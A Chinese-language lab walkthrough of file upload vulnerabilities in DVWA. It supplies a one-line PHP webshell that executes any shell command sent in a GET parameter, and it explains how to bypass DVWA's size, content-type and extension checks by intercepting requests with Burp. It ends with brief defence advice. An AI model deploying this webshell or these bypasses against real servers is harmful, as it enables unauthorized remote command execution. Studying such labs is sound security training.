文件上傳漏洞
<?php
echo shell_exec($_GET['cmd']);
?>
#通過cmd去執行命令
- 將上方的代碼通過文件上傳的方式上傳到服務器上，之后進行訪問
- dvwa中對文件上傳的內容是有過濾的，只允許100k大小的文件上傳
- 我們可以把截斷功能打開
- 然后再次上傳一個超過大小的文件
- 我們通過修改最大文件大小去繞過這個限制，即可看到上傳成功
- 上面是低安全等級的，我們調到中等安全等級看下代碼
File Upload Source
<?php
if (isset($_POST['Upload'])) {
$target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
$target_path = $target_path . basename($_FILES['uploaded']['name']);
$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_type = $_FILES['uploaded']['type'];
$uploaded_size = $_FILES['uploaded']['size'];
if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)){
if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
echo '
<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';
} else {
echo '
<pre>';
echo $target_path . ' succesfully uploaded!';
echo '</pre>';
}
}
else{
echo '
<pre>Your image was not uploaded.</pre>';
}
}
?>
從上面的代碼我們能夠看出來，他對文件進行了大小和類型的判斷；
- 我們的思路就是用bp的截斷功能去修改請求的參數，將1.php文件類型改為image/jpeg即可，這里不做詳細演示了哈
- 再來看下高安全級別的dvwa代碼
File Upload Source
<?php
if (isset($_POST['Upload'])) {
$target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
$target_path = $target_path . basename($_FILES['uploaded']['name']);
$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1);
$uploaded_size = $_FILES['uploaded']['size'];
if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext == "JPEG") && ($uploaded_size < 100000)){
if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
echo '
<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';
} else {
echo '
<pre>';
echo $target_path . ' succesfully uploaded!';
echo '</pre>';
}
}
else{
echo '
<pre>';
echo 'Your image was not uploaded.';
echo '</pre>';
}
}
?>
- 從代碼上可以看出來，相較于中級來說，這個是通過擴展名來判斷文件的類型，我們依然可以通過截斷去修改
- 實際上，現在也有很多對于文件數據的判斷，我們可以把一句話webshell替換掉內容方面也可以實現，大家自行嘗試
如何進行文件上傳漏洞防護？
- 首先肯定是要全面對上傳文件進行過濾
- 其次對于上傳文件的目錄，要去除所有用戶可執行權限
